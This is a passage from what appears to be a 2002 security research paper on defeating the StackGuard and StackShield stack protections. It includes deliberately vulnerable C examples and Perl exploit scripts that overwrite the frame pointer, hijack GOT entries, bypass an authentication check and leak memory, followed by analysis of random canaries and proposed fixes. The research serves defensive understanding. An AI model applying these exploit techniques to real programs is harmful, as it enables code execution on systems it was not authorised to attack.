    char *msg = malloc(1000);

    snprintf(msg,1000,"User: %s",read_it());
    exit(0);
}
```

Here *read_it* has an *off by one overflow*, with it you can turn the least significative byte of the *saved frame pointer* into 0. After finishing `read_it`, the epilogue will `pop` the altered copy into the actual *frame pointer*, and as we zeroed its least significant byte, the new *frame pointer* will be addressing a lower memory location, hopefully inside `buf`. To have a clearer picture of this situation refer to the stack layout depicted in Section 2.2.

After the *frame pointer* is "restored" from stack, the execution will continue in `main()`, but with an altered frame pointer. As every local variable is accessed relative to the *frame pointer*, and as it's pointing to `buf`, we can control the

[12]We can also control caller's caller's locals and arguments, and so on. StackGuard, would detectet it on the *canary* check for the second return and would stop us from using this modified values, but StackShield won't, and will let us control the full *frame pointer* (not just 1 byte) after the second return and the *stack pointer* on the third return, if there is one.

[13]We haven't said this earlier, but if *-fomit-frame-pointer* is used, the *frame pointer* may not be saved in stack, or used to access local variables.

value of every local variable in `main()` and its arguments. In this example, by controlling `msg`'s value, we can control where `snprintf()` will print, for example, let's overwrite the `GOT` with the address of our "*shellcode*".

```
gera@vaiolent:~src/sg/tests$ cc -o sg3 sg3.c
gera@vaiolent:~src/sg/tests$ readelf -S sg3|grep got
  [ 8] .rel.got          REL             08048394 etc...
  [20] .got              PROGBITS        08049950 etc...

gera@vaiolent:~src/sg/tests$ cat >sg3.exp <<_EOF_
#!/usr/bin/perl

$got = "\x32\x99\x04\x08";
$code_addr = "\x38\x99\x04\x08";
$code = "\x90\x90\xeb\xfe";

open(F,"|./sg3");
sleep(2) # just to ease debugging
print F $code;
print F ("$code_addr"x20);
print F ("$got"x20);
print F "\n";
print $_ while (<F>);
_EOF_

gera@vaiolent:~src/sg/tests$ chmod +x sg3.exp
gera@vaiolent:~src/sg/tests$ ./sg3.exp
```

We set `$got` to point a little before the real `GOT`, so we don't overwrite some sensitive information stored in `_DYNAMIC`[14], what would make our program crash early inside `snprintf()`.

A few paragraphs above we said *"the new* frame pointer *will be addressing a lower memory location, hopefully inside* `buf`*"*. This is not a trivial detail, but can be worked out trying different lengths for an environment variable, for example try changin the number of character in:

```
gera@vaiolent:~src/sg/tests$ export A=AAAAAAAAAAAAAAAAAAAAAA
gera@vaiolent:~src/sg/tests$ ./sg3.exp
```

To know if you are getting close, you may attach to `sg3` with gdb, and see how `%ebp` changes on exit from `read_it`, when the execution is back in `main()`.

```
gera@vaiolent:~src/sg/tests$ ./sg3.exp &
gera@vaiolent:~src/sg/tests$ gdb sg3 `pidof sg3`
0x216174 in __libc_read () from /lib/libc.so.6
```

[14] It would be great to know how to use `_DYNAMIC` overwrites to do something interesting. :-)

```
(gdb) ni
0x216175 in __libc_read () from /lib/libc.so.6
...
(gdb) ni
0x804873d in read_it ()
(gdb) ni
0x804878a in main ()
(gdb) x/x $ebp-4
0xbffff9fc:     0x08049932
```

If everything is ok you should see `%ebp-4` pointing to `$got`'s value, in our example `0x08049932`, if it's not the case, add some more `A`s to the environment variable, you may need up to 256, but you don't need to try with every possible length. If things are not working and you don't know why, check if `%ebp-8` is pointing to `$code_addr`'s value, check where the program is crashing, debug up to `snprintf()` and check what and where it is going to write, check if addresses and code are aligned properly, etc.

And of course, if we can control all the *frame pointer* and not only one byte, as we do with a *stack based buffer overflow*, we can do the same, targeting the full stack, or heap to put our new local variables, not just `buf`'s space. In this case, we won't need to align `%ebp` using environment variables, but we'll need to properly set its value.

The difference between this method and that described in section 3.1, and [2] and [16] is that we can control all local variables and arguments of the **caller function** without changing any canary or return address. The difference with that described in Section 3.2 is that we are not using `ret` to jump to our code, and we don't need a second `ret`. Of course, this technique depends on the caller function having a suitable local variable, in Section 3.4 we'll see a way to increase our possibilities.

3.4 Pointing caller's frame to GOT

This is the most complicated method presented here, however it gives us a new idea to play with.

In standard compiled C code, when not using `-fomit-frame-pointer`[15]all local variables are accessed relative to the *frame pointer*, then, if we have full control over it we can choose where in memory local variables are placed, this is the trick used in section 3.3, but there is something else we can do.

```
/* sg4.c                                                    *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
```

```
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

// XXX: Add real support for internationalization
#define LANG_MSG(dest,pattern) strcpy(dest,pattern);

int main(int argv, char **argc) {
    char msg[100];

    LANG_MSG(msg,"Get out of here!\n");

    if (!check(argc[1])) {
            printf(msg);
            exit(1);
    }
    exit(0);
}
```

We'll use this example only as an introduction. Here, the address of `msg` is relative to the *frame pointer*, lets say it's `%ebp-100`. When `printf()` is called, it'll be given `%ebp-100` as argument. But! as we totally control `%ebp`[16], we can force `printf()` show us anything from memory. For example, take a look at:

```
gera@vaiolent:~src/sg/tests$ cc -o sg4 sg4.c
gera@vaiolent:~src/sg/tests$ cat >sg4.exp <<_EOF_
#!/usr/bin/perl

$canary = "\x0d\xff\x0a";
$ebp = "\x64\x80\x04\x08";

exec ("./sg4",("A"x80)."$ebp$canary");
_EOF_
gera@vaiolent:~src/sg/tests$ ./sg4
ELF
```

The address we are printing (`0x08048000`) correspondes to program's `ELF header`, it's not like we are going to print something enlightning, it's just an example. But it may be usefull to walk the `ELF header` this way (or with a format string) to learn some interesting information, like `GOT`'s address, function's

[16] How to do this was explained in Sections 3.2.

addresses in `.plt`, etc. something usefull if you are coding a *ret2libc* exploit, for example.

There is something else we can do if exploiting `sg4.c`, we can turn the buffer overflow into a format string, and actually exploit it: we can control where `msg` is in memory, and for example, we can make it lay where an environment variable we control is located.

Note that it's not the same as the example in Section 3.3, not at all. Here we control where in memory `msg` is stored by changing `%ebp` and moving it `sizeof(msg)` bytes ahead of the address we want to print. Let's see another example that may be usefull to depict the situation.

```
/* sg5.c                                                    *
 * specially crafted to feed your brain by gera@corest.com */

int need_to_check = 1;  // XXX: Add global configuration

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

int main(int argv, char **argc) {
    int user_ok;

    user_ok = check(argc[1]);
    if (!user_ok && need_to_check) exit(1);
    exit(0);
}
```

Remember: after returning from check we control, no only all *local variable* and *arguments* for main. We also control where in memory they are located. For example, we can change the value of `need_to_check` to 0:

```
gera@vaiolent:~src/sg/tests$ cc -o sg5 sg5.c
gera@vaiolent:~src/sg/tests$ readelf -a sg5|grep need_to_check
    86: 080498f8     4 OBJECT  GLOBAL DEFAULT  16 need_to_check

gera@vaiolent:~src/sg/tests$ cat >sg5.exp <<_EOF_
#!/usr/bin/perl
```

```
$canary = "\x0d\xff\x0a";
$ebp = "\xfc\x98\x04\x08";

exec ("./sg5",
        ("A"x80)."$ebp$canary");
```

As `user_ok`'s address is `%ebp-4`, by setting `%ebp = &need_to_check+4`, after returning from check, when the program pretends to store a zero in `user_ok`, it will store it in `need_to_check`.

Of course, if we can write anywhere in memory, we may be able to do more interesting things than just changing a variable. Here's the last example.

```
/* sg6.c                                                    *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int get_username(char *user) {
        char temp[80];

        decrypt(temp,user);

        return strdup(temp);
}

int main(int argv, char **argc) {
    char *user_name;

    user_name = get_username(argc[1]);
    printf("User name is '%s'",user_name);
    return 0;
}
```

Again, `&user_name` is `%ebp - 4`, now, if we set it to point to the right `GOT` entry, we can hook the execution flow.

```
gera@vaiolent:~src/sg/tests$ cc -o sg6 sg6.c
gera@vaiolent:~src/sg/tests$ readelf -a sg6|grep printf
  08049924  00707 R_386_JUMP_SLOT       08048480  printf

gera@vaiolent:~src/sg/tests$ cat >sg6.exp <<_EOF_
#!/usr/bin/perl

$ebp = "\x28\x99\x04\x08";
```

```
exec("./sg6",
       "\xeb\xfe".("A"x78)."$ebp$canary");
_EOF_

gera@vaiolent:~src/sg/tests$ ./sg6.exp
```

In the example we are changing `printf()`'s `GOT` entry, to jump to our "*shellcode*". Of course it can be any other function pointer, even those stored in `retarray`, for StackShield.

The caveat for this last trick, is that the value to be assigned should not depend on *frame pointer*'s value, i.e. it can't be a local or argument, because in that case, we won't be able to control it. However, there may be other variations of this techniques, for example, pointing the *frame pointer* to a malloc'ed buffer in heap: If we can control buffer's contents, it may be possible to alter it's *chunk controlling structures* and then abuse a *backguard* or *forward concatenation* in the very same way a *"free bug"* is exploited.

We used StackGuard in our examples, but it's pretty the same for StackShield, just don't use a *canary*, and remember that you may need to supply the original *return address* in order to let the program keep going, if you compiled it using `-d`.

4 Notes on random canary

The *XOR random canary* method was introduced in StackGuard version 1.21[9] as a mean to stop the attacks from [2] and [16]. As we said earlier, it wouldn't stop these attacks, it would only force the attacker to use a different trick. Different types of *canaries* are described in [10].

The idea of a *random canary* is to generate a different *canary* every time it's used, reducing the chances of guessing it[17].

At first sight attacks changing all the bytes of the *frame pointer*, like those described in Sections 3.3 and 3.4 would be stopped cold on first function's epilogue, as the `NUL` at the end of the string would overwrite *canary*'s first byte, however, we think it's not that straight forward. For example, if the random is too random, we could overwrite only the first byte of the *canary* with the terminating `NUL` byte (or any other value), and hope to have 1 good shot of every 256 tries.

The same trick for hitting 1 over 256 tries can be done on the attack described in Section 3.2, but even when we can fake the right *canary* for the first return, we won't be able to set the right one for the second, hence, this trick can't be used.

In latests StackGuard (version 2.0.1), the *random canary* method was removed from the protections offered.

[17]The implementation may differ from theory. A list of *canaries* may be generated on program start up and used latter, or a single *random canary* may be generated on start up, and then used through program's life, or regenerated on every `fork()`, etc.

Microsoft's /GS protection, uses a *random canary* too, although they call it *cookie* or *security cookie*[18]. This random canary is initialized in a function called `__security_init_cookie()` which you can find in the file `seccinit.c` in `crt` sources that come with Microsoft's Visual Studio .NET. This function is called once, every time the program is started.

If you take a look at the sources, you'll see the *security cookie* is generated XORing the answer of 5 different functions: `GetCurrentProcessId()`, `GetCurrentThreadId()`, `GetTickCount()`, `GetSystemTimeAsFileTime()` and `QueryPerformanceCounter()`[19]. In Windows NT and 2000, the first too are generated not so randomly (check `PID`s in Task Manager). The other 3 are timers. If exploiting something locally, timers can be determined pretty acurately, if exploiting remotely, it's not that easy. As the process being exploited will raise an error if you don't know the right value, and as the precision for `QueryPerformanceCounter()` is really high, bruteforcing is not that straight forward.

We haven't thoroughly tested the randomness of the *security cookies*, but our first attempts show that 21 to 23 bits need to be bruteforced out of the 32. We know timers are not a good random source, for example, given two consecutives values is easy to predict the next, however, we are not sure if this is enough to successfully exploit programs protected with Microsoft's /GS option.

5 Solutions?

The techniques presented in sections 3.2, 3.3 and 3.4 can be stoped protecting the *frame pointer* in the same way the *return address* is protected now, be it placing the *canary* in front of the *frame pointer* instead of after it, as the future StackGuard 3.0 will do, or copying it's value to global space as StackShield does for *return addresses*. If the latter method is used, although it won't be possible to alter the *frame pointer*, it may still be possible to control all callers' *local variables* and *functions' arguments*, using the technique described in section 3.1.

Using a *random canary* may give some higher level of security, but it's not a fullproof solution, as we showed in section 4.

This protections are not effective at all to the techniques described in section 3.1 or [2] and [16]. We may try to extend current methods to solve this other problems, placing a *canary* between every *local variable* or just after every local buffer, for example; but that will force us to add additional *canary checks* along function's code, probably just after each use of the protected buffers. We haven't really explored this possibilities and we are not sure how much protection and overhead they would add.

[18] I personally prefer the term *canary*. As Javier let me know, it's a reference to the bird (a canary) miners take with them to know when they are running out of oxygen.[1]

[19] Microsoft's documentation for Windows CE states that in some cases, where performance counters are not available, `GetTickCount()` and `QueryPerformanceCounter()` return the same value, of course, if that's the case, XORing them will just void their influence on the final result.

An alternative approach was presented by Hiroaki Etoh[6] from IBM, back in August, 2000. His work includes protecting the *frame pointer* and *return address* using a *random canary*, but it also includes some really neat tricks to protect agains *local variables* and *arguments overwrites*. Although we haven't thourougly tested SSP, we think it is an effective protection against all the attacks described here. For more information check [5]. I personally recomend taking a look at Hiroaki's work.

6 Conclusions

We already knew the roots of the conclusions when this protections saw the light some years ago. They are **not** a final solution for the problem, and if the user is not aware of the real threats, they may give a dangerous false sense of security. However, if they are used in conjuntion with resposibility, although they won't make disappear a vulnerabilities, they will effectively reduce the possibility of a sucessfull attack. How much do they reduce it is still an open question.

This techniques we present here will turn exploitable some of the programs previously thought to be immune, some other techniques may render exploitable some more in the future. Is there a way to meassure, today, the protection this tools offer? Is it good to be protected just on some cases if you are not sure what is covered? We are not sure of the answers to this questions.

Take care, stay informed, become a security profesional if that's your goal.

7 Gracias - Thanks

Ni hablar que esto no hubiera sido posible sin Core y toda su gente, con los que discutimos infinitamente sobre todos los temas, y nos enseñamos mutuamente todo lo que sabemos. Especialmente a los que desde que me puse a saltar como loco se engancharon, participaron de estas ideas y aportaron un monton.

Por otro lado, tambien quiero agradecerle a todos mis nuevos amigos de IRC, con quienes comparto un monton de tiempo, y con los que tambien discutimos y aprendemos un monton de cosas juntos.

References

[1] *The Miner's Canary.* http://www.sturgeongeneral.org/html/reports/report1/q9.html. (April 22, 2002).

[2] Bulba and Kil3r. *Bypassing StackGuard And StackShield*, May 1, 2000. http://www.phrack.org/show.php?p=56&a=5. (April 9, 2002).

[3] Solar Designer. *Getting around non-executable stack (and fix).* http://online.securityfocus.com/archive/1/7480. (April 11, 2002).

[4] Solar Designer et al. *Kernel patches from the Openwall Project.* http://www.openwall.com/linux. (April 22, 2002).

[5] Hiroaki Etoh. *GCC extension for protecting applications from stack-smashing attacks.* http://www.trl.ibm.com/projects/security/ssp/. (April 22, 2002).

[6] Hiroaki Etoh. *machine independent protection from stack-smashing attack*, August 9, 2000. http://online.securityfocus.com/archive/1/74931. (April 22, 2002).

[7] Hiroaki Etoh and Kunikazu Yoda. *Protecting from stack-smashing attacks.* http://www.trl.ibm.com/projects/security/ssp/main.html. (May 31, 2002).

[8] WireX Communications Inc. *StackGuard.* http://www.immunix.org. (April 9, 2002).

[9] WireX Communications Inc. *StackGuard Mechanism: Emsi's Vulnerability.* http://www.immunix.org/StackGuard/emsi_vuln.html. (April 11, 2002).

[10] WireX Communications Inc. *StackGuard Mechanism: Stack Integrity Checking.* http://www.immunix.org/StackGuard/mechanism.html. (April 11, 2002).

[11] klog. *The Frame Pointer Overwrite.* http://www.phrack.com/show.php?p=55&a=8. (April 10, 2002).

[12] Elias Levy. *Smashing the stack for fun and profit.* http://community.corest.com/ juliano/bufo.html. (April 15,2002).

[13] Tim Newsham. *Re: StackGuard*, December 19, 1997. http://online.securityfocus.com/archive/1/8260. (April 20, 2002).

[14] Gerardo Richarte. Comercial grade exploits - specially crafted to feed your brain. Work in progres (title may change).

[15] Gerardo Richarte. *Insecure Programming by example.* http://community.corest.com/g̃era/InsecureProgramming. (April 23, 2002).

[16] Gerardo Richarte. *Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released*, November 11, 1999. http://online.securityfocus.com/archive/1/34225. (April 9, 2002).

[17] Rafal Wojczuk. *Defeating Solar Designer's Non-executable Stack Patch*, January 30, 1998. http://online.securityfocus.com/archive/1/8470. (April 21, 2002).

Dates enclosed in parentheses are the last time each URL is known to be valid.